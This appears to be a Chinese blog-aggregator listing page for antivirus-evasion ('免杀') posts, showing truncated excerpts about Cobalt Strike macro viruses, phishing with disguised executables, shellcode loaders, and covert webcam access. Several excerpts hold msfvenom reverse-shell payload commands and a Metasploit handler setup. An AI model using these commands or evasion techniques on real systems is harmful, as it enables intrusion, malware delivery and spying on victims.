veil免杀

Android 免杀教程

免杀练习两年半目录msfvenom自动生成自带免杀工具免杀Thefatratvenom工具小记加壳源码免杀加壳源码混淆数据通信对抗反编译反编译工具崩溃ZIP文件格式对抗AndroidManifest.xml
渗透测试老鸟-九青·2023-10-11 21:07

小白网络安全学习手册—黑客

3.所需要的技术水平需要掌握的知识点偏多（举例）：外围打点能力渗透漏洞挖掘流量分析代码审计逆向免杀4.国家政策环境对于国家与企业的地位愈发重要，没有网络安全就没有国
德西德西·2023-10-10 21:57

网络安全（黑客）自学

3.所需要的技术水平需要掌握的知识点偏多（举例）：外围打点能力渗透漏洞挖掘流量分析代码审计逆向免杀4.国家政策环境对于国家与企业的地位愈发重要，没有网络安全就没有国
德西德西·2023-10-10 21:27

网络安全（骇客）—技术学习

3.所需要的技术水平需要掌握的知识点偏多（举例）：外围打点能力渗透漏洞挖掘流量分析代码审计逆向免杀4.国家政策环境对于国家与企业的地位愈发重要，没有网络安全就没有国
德西德西·2023-10-10 20:51

sqli-lab 1-16通关随笔记

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档SQL注入学习sqli-labs靶场通关1~16前段时间大概学了一遍内网，免杀正好来将web这块重新复习一遍由于是直接刷关所以只是让关卡报出注入点其余的都没搞
qianpd·2023-10-09 18:23

小白自学笔记—网络安全（黑客笔记）

3.所需要的技术水平需要掌握的知识点偏多（举例）：外围打点能力渗透漏洞挖掘流量分析代码审计逆向免杀4.国家政策环境对于国家与企业的地位愈发重要，没有网络安全就没有国
德西德西·2023-10-09 17:07

网络安全（黑客技术）—小白自学笔记

3.所需要的技术水平需要掌握的知识点偏多（举例）：外围打点能力渗透漏洞挖掘流量分析代码审计逆向免杀4.国家政策环境对于国家与企业的地位愈发重要，没有网络安全就没有国
德西德西·2023-10-09 14:16

2021-8-29《内网安全攻防》第一章内网基础知识

欢迎大家一起来Hacking水友攻防实验室学习，渗透测试，代码审计，免杀逆向，实战分享，靶场靶机，求关注这是MS08067实验室的作品，我看的过程中做了一些笔记，算是复习+学习吧。
热热的雨夜·2023-10-08 23:03

防御第五次作业

4.恶意软件的免杀技术有哪些？5.反病毒技术有哪些？6.反病毒网关的工作原理是什么？7.反病毒网关的工作过程是什么？8.反病毒网关的配置流程是什么？1.什么是恶意软件？
hbw_·2023-10-07 19:19

Cobalt-Strike Office宏利用与免杀

1.打开Cobalt-Strike生产Office宏病毒。首先需要设置监听器、因为钓鱼的目标比较单纯，在这里就不采用域前置技术。然后使用攻击模块，生产Office宏病毒。设置好监听器。生成宏病毒2.将宏病毒放入word首先打开Word，在审阅中编辑宏：创建新的宏：将生成的宏病毒放入MicrosoftWord目录下的ThisDocument，注意如果宏位置写错了很容易报错。按下Ctrl+S，将文件保
分发吧·2023-10-07 18:11

CobaltStrike简易免杀后门制作

事先声明：本技术文章仅限用于学习和研究，不得将上述内容用于商业或者非法用途，否则，一切后果请您自负。本博客的技术来源于作者网络上所学。您在技术复现前必须得到攻击目标本人的同意，并且在复现结束后从您的电脑中彻底删除相关内容。如有违法事件发生与作者本人无关。一.平台搭建启动CS服务器命令./teamserver服务器IP(实际要用公网服务器IP)密码客户端连接若连接不成功，需要检测是否开启50050端
天津曲艺团·2023-10-07 18:40

钓鱼篇-利用RLO隐藏exe&文件捆绑&office免杀-远程模板加载上线CS

RLO伪装图片执行利用msf生成木马x.exemsfvenom-pwindows/meterpreter/reverse_tcpLHOST=192.168.96.128LPORT=4444-fexe-ox.exeMetasploit打开反向监听的命令useexploit/multi/handlersetpayloadwindows/meterpreter/reverse_tcp下面利用RLO对x.
无名安全·2023-10-07 18:40

【黑客免杀攻防】读书笔记1 - 初级免杀基础理论（反病毒软件特征码提取介绍、免杀原理、壳）...

基础篇初级免杀技术第1章变脸免杀是一种反杀毒技术。它除了使病毒木马免于被查杀外，还可以扩增病毒木马的功能，改变病毒木马的行为
weixin_30642869·2023-10-07 18:08

绕过杀毒软件，免杀木马制作

绕过杀毒软件，免杀木马制作（以AVGAntiSpyware杀毒软件为例）一、将Sever.exe打开，分块生成100个文件二、使用AVGAntiSpyware查杀生成的文件，再二次处理，重复这个过程，直到缩小到很小的范围
youhao108·2023-10-07 18:37

远控免杀专题(16)-Unicorn免杀(VT免杀率29/56)

本专题文章导航1.远控免杀专题(1)-基础篇：https://mp.weixin.qq.com/s/3LZ_cj2gDC1bQATxqBfweg2.远控免杀专题(2)-msfvenom隐藏的参数：https
Ms08067安全实验室·2023-10-07 18:37

远控免杀专题(22)-SpookFlare免杀

转载：https://mp.weixin.qq.com/s/LfuQ2XuD7YHUWJqMRUmNVA免杀能力一览表几点说明：1、上表中标识√说明相应杀毒软件未检测出病毒，也就是代表了Bypass。
p0inter·2023-10-07 18:36

社会工程学 | office宏分离免杀及应急处置

Office宏分离免杀的方式是在目标用户的office开启宏功能的前提下，诱骗其使用office办公软件打开文档，通过加载远程的恶意宏代码，达到控制目标主机权限的目的。
betasec·2023-10-07 18:06

远控免杀专题(16)-Unicorn免杀

0x01免杀能力一览表几点说明：1、上表中标识√说明相应杀毒软件未检测出病毒，也就是代表了Bypass。
p0inter·2023-10-07 18:06

免杀对抗-反沙盒+反调试

反VT-沙盒检测-Go&Python介绍：近年来，各类恶意软件层出不穷，反病毒软件也更新了各种检测方案以提高检率。其中比较有效的方案是动态沙箱检测技术，即通过在沙箱中运行程序并观察程序行为来判断程序是否为恶意程序。简单来说沙盒就是为运行中的程序提供的隔离环境。为了逃避沙箱/安全人员的检测，恶意软件使用了各类识别沙箱/虚拟机的技术，用于判断自身程序是否运行在沙箱/虚拟机中。go语言1.使用GoLan
xiaoheizi安全·2023-10-07 18:36

office钓鱼免杀宏的制作

office钓鱼免杀宏的制作由于国内近些年来，红蓝对抗的升级，各类hvv，重保，防守方上各种杀软，edr，防御手段层出不穷，不会免杀真的是欲哭无泪，今天带来EvilClippy恶意文档助手，对office
Sword-heart·2023-10-07 18:06

免杀入门学习---------2019.8.27

这篇随笔的大部分内容来自《黑客免杀攻防》第一章说的免杀的历史，点了一下免杀和Rootkit的区别。Rootkit的词条介绍当然，一个菜鸟怎么会理解呢，只能默默地记一下，接受了。
Looun·2023-10-07 18:05

免杀入门(基础理论)

免杀理论基础本文主要为免杀入门的基础理论笔记，前几年写下的找到正好发出来，因审核需要删除部分内容，有免杀基础和一定实操经验人士可以跳过本文概念免杀全称为反杀毒技术AntiAnti-Virus简称“免杀”
S1aine·2023-10-07 18:35

word宏木马分离免杀

apache服务上2、修改文档“2.docx"文件名为”2.zip“,并将“2.zip”进行解压3、修改下面的文件4、将修改后的文件夹重新压缩为"2.zip"，并修改后缀名为“2.docx”5、成功实现分离免杀
30岁学java的貧曾·2023-10-07 18:35

Shellcode免杀，过360、火绒、windows-Defender

我们可以使用Shellcode来完成我们需要的任务弹窗的代码，可以被认为是一段Shellcode，获取某个模块的基址的代码，也可以被认为是一段Shellcode，同理，拿来干坏事的代码，也是Shellcode免杀技术为何出现如今的杀毒软件都拥有查杀病毒木马的能力
刘—手·2023-10-07 18:04

121-宏免杀

CS生成宏&上线生成宏1.cs生成宏，如下图操作2.点击复制宏代码，保存下来cs上线注：如下操作使用的是word，同样的操作也适用于Excel1.新建一个word文档，使用word打开。点击文件——2.更多——选项——3.自定义功能区——勾选开发工具——点击确定4.点击开发工具——新建宏——任意宏名——宏的位置(之前新建的word文档)——创建5.跳转到如下，将cs生成的宏代码写入——点击保存——
xiaoheizi安全·2023-10-07 18:32

06. http协议基础，带你了解网络访问

WEB网站只是单一的网站服务，在渗透测试过程中可能不是攻击网站，而是寻找其他服务漏洞，如数据库、FTP等渗透测试覆盖面更为广泛，需要考虑如何深入利用漏洞使得攻击效果最大化如提权、内网攻击、域环境攻击、制作免杀后门等渗透测试学习路径
程序员小勇·2023-10-06 18:12

章节2：Webshell介绍

安全性高，隐匿性强，可变形免杀小马体积小，功能少只有文件上传功能大马体积大，功能全能够管理数据库、文件管理、对站点进行快速的信息收集，甚至能够提权Webshell集合https://github.com
程序员小勇·2023-10-06 18:41

免杀对抗-成品EXE免杀-反特征码-通用跳转

一、exe程序生成1.使用如下shellcode加载器，生成c/c++语言的exe程序加载器：1.c#include#include#pragmacomment(linker,"/section:.data,RWE")unsignedcharshellcode[]=生成的shellcode;intmain(){__asm{moveax,offsetshellcode_emit0xFF_emit0x
xiaoheizi安全·2023-10-04 11:53

免杀对抗-DLL劫持免杀

C&Py-DLL劫持-语言-调用加载1.使用visualstudio创建项目2.将文件名重命名为.c后缀3.将如下加载器代码生成dll文件加载器代码：#include"pch.h"#include#include#include#pragmacomment(linker,"/subsystem:\"Windows\"/entry:\"mainCRTStartup\"")//windows控制台程序
xiaoheizi安全·2023-10-04 10:37

网络安全（黑客）自学

3.所需要的技术水平需要掌握的知识点偏多（举例）：外围打点能力渗透漏洞挖掘流量分析代码审计逆向免杀4.国家政策环境对于国家与企业的地位愈发重要，没有网络安全就没有国
德西德西·2023-09-30 15:08

网络安全（黑客技术）自学

3.所需要的技术水平需要掌握的知识点偏多（举例）：外围打点能力渗透漏洞挖掘流量分析代码审计逆向免杀4.国家政策环境对于国家与企业的地位愈发重要，没有网络安全就没有国
德西德西·2023-09-30 15:38

【红队攻防】从零开始的木马免杀到上线

0、环境配置说明应该全部使用云服务器完整演示比较好，奈何太穷了买不起服务器，只能用本地环境演示。所需环境如下：系统环境：CentOS7，Windows10软件环境CobaltStrike4.7,ShellQMaker，360杀毒一、CobaltStrike环境配置CentOS7.8环境安装CobaltStrike必备工具安装yum-yinstalllrzsz,unzip上传文件解压然后切换至Cob
为赋新词强说愁·2023-09-30 03:35

免杀对抗-Nim语言免杀-加载工具+加载方式

Nim语言-加载工具-NimShellCodeLoader项目配置环境：1.下载Nim语言&配置bin目录环境变量链接：https://nim-lang.org/install_windows.html配置环境变量2.下载mingw链接：https://nim-lang.org/download/mingw64.7z配置bin目录环境变量3.下载git，配置bin目录环境变量链接：https://
xiaoheizi安全·2023-09-29 23:40

【安全研究】Linux后渗透常见后门驻留方式分析

又或者，在RedTeam拿下一台服务器，为达到长久控制的目的而专门定制持久化后门（免杀肯定是必须的）的前提下，他们会如何结合系统自身的某些特性，达到持久化控制的效果？
安全狗（safedog）·2023-09-29 07:55

免杀对抗-无文件落地&分离拆分-文本提取+加载器分离+参数协议化+图片隐写

无文件落地&分离拆分无文件落地&分离拆分其实就是内存免杀，内存免杀是将shellcode直接加载进内存，由于没有文件落地，因此可以绕过文件扫描策略的查杀。
xiaoheizi安全·2023-09-27 10:52

免杀对抗-内存加载-shellcode转换-UUID+MAC+IPV4

内存加载-UUID地址-ShellCode转换介绍：通用唯一识别码(UUID),是用于计算机体系中以识别信息数目的一个128位标识符，根据标准方法生成，不依赖中央机构的注册和分配，UUID具有唯一性。演示语言：c++1.使用以下代码将c语言的shellcode转换为uuid类型代码：uuid.pyimportuuidimportbinasciibuf=b"生成的shellcode"hex=bina
xiaoheizi安全·2023-09-27 10:16

免杀技术，你需要学习哪些内容

免杀技术，你需要学习哪些内容？什么是免杀？免杀是指通过各种技术手段使恶意软件或病毒能够逃避杀毒软件的检测和阻止，成功地感染目标系统。
自饰者六便士·2023-09-26 17:21

认识JSP webshell免杀

【virustotal】【D盾】【shellpub】接下来进行免杀，免杀就是将这些被识别的特征进行替换，绕过，混淆和干扰。
凌木LSJ·2023-09-25 15:32

WAF Bypass及案例实战

1.2.1WAF指纹识别工具1.3绕WAF的多种方式2.SQLiBypass2.1Bypass思路2.1.1层面问题2.1.2HTTP问题2.2绕过分析2.2.1绕过方式2.2.2脚本编写3.一句话木马免杀
来日可期x·2023-09-25 03:20

免杀对抗-java语言-shellcode免杀-源码修改+打包exe

JAVA-ShellCode免杀-源码修改&打包EXEShellcode-生成/上线1.msf生成shellcode命令：msfvenom-pjava/meterpreter/reverse_tcpLHOST
xiaoheizi安全·2023-09-24 15:34

免杀对抗-PowerShell-混淆+分离

演示：PowerShell-生成和上线1.生成——启动cs，生成两种模式的powershell脚本文件模式：执行ps1文件上线命令模式：执行txt文件中的命令上线2.文件模式powershell执行——两种方法方法一：打开Win7以上自带的WindowsPowerShellISE来执行成功上线：方法二：打开命令行，启动PowerShell来执行命令：powershell命令：.\payload.p
xiaoheizi安全·2023-09-24 15:04

免杀对抗-C#+go语言-混淆+防反编译+分离

C#&NET-ShellCode-生成/上线一、生成：1.msf生成C#语言的shellcode命令：msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=192.168.206.192LPORT=4444-ex86/shikata_ga_nai-i15-fcsharp二、上线：1.c#语言shellcode加载代码：usingSystem;usin
xiaoheizi安全·2023-09-24 15:03

CS 4.7 Stager 逆向及 Shellcode 重写

1.概述一直很想有一个自己的控，奈何实力不允许，CS仍然是目前市面上最好用的控，但是也被各大厂商盯得很紧，通过加载器的方式进行免杀效果有限，后来看到有人用go重写了CS的beacon，感觉这个思路很好，
小袁同学爱学习·2023-09-24 07:02

Rust免杀 Shellcode加载与混淆2

前言这是半年前我学习Rust和免杀时的一些记录，最近打开知识库看到了这篇半年前的笔记，并且发现我常逛的安全社区都比较少有人分享Rust以及Rust免杀的帖子，于是想着将这篇笔记分享出来供大家参考和指正。
小袁同学爱学习·2023-09-24 06:23

网络安全（黑客技术）学习笔记

3.所需要的技术水平需要掌握的知识点偏多（举例）：外围打点能力渗透漏洞挖掘流量分析代码审计逆向免杀4.国家政策环境对于国家与企业的地位愈发重要，没有网络安全就没有国
德西德西·2023-09-20 11:47

木马免杀之PE文件

对于此问题，打算开一个专题进行木马免杀的分析，先从最最重要的PE文件说起，要攻击Windows系统，如果不懂PE文件，面对杀毒软件，则只能束手就擒了。PE文件PE（PortableExec
无情剑客Burning·2023-09-20 03:40

打开对方的电脑的摄像头

大家玩玩就好，有杀毒软件可能会被干掉，关于免杀方式有很多，请勿捉弄同学，谢谢msfvenom-pwindows/meterpreter/reverse_tcpLHOST=10.0.128.149LPORT
落幕_f94c·2023-09-19 14:39

Windows多种方式获取密码

后面一段时间直到hw结束，我打算把主要精力都放在免杀上面，不会点C真的寸步难行，或者就只能从go下手了0x01SSP记录明文密码SSP（SecuritySupportProvider）是一个用于实现身份验证的
book4yi·2023-09-19 08:11

免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall

Python-MSF/CS生成shellcode-上线cs上线1.生成shellcode-c或者python2.打开pycharm工具，创建一个py文件，将原生态执行代码复制进去shellcode执行代码：importctypesfromdjango.contrib.gisimportptr#cs#shellcode=bytearray(b"生成的shellcode")#msf的shellcode
xiaoheizi安全·2023-09-18 00:25

PowerShell脚本免杀/bypass/绕过杀毒软件，ReconFTW 漏洞扫描

PowerShell脚本免杀/bypass/绕过杀毒软件，ReconFTW漏洞扫描。
代码讲故事·2023-09-16 18:17
上一页 1 2 3 4 5 6 7 8 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他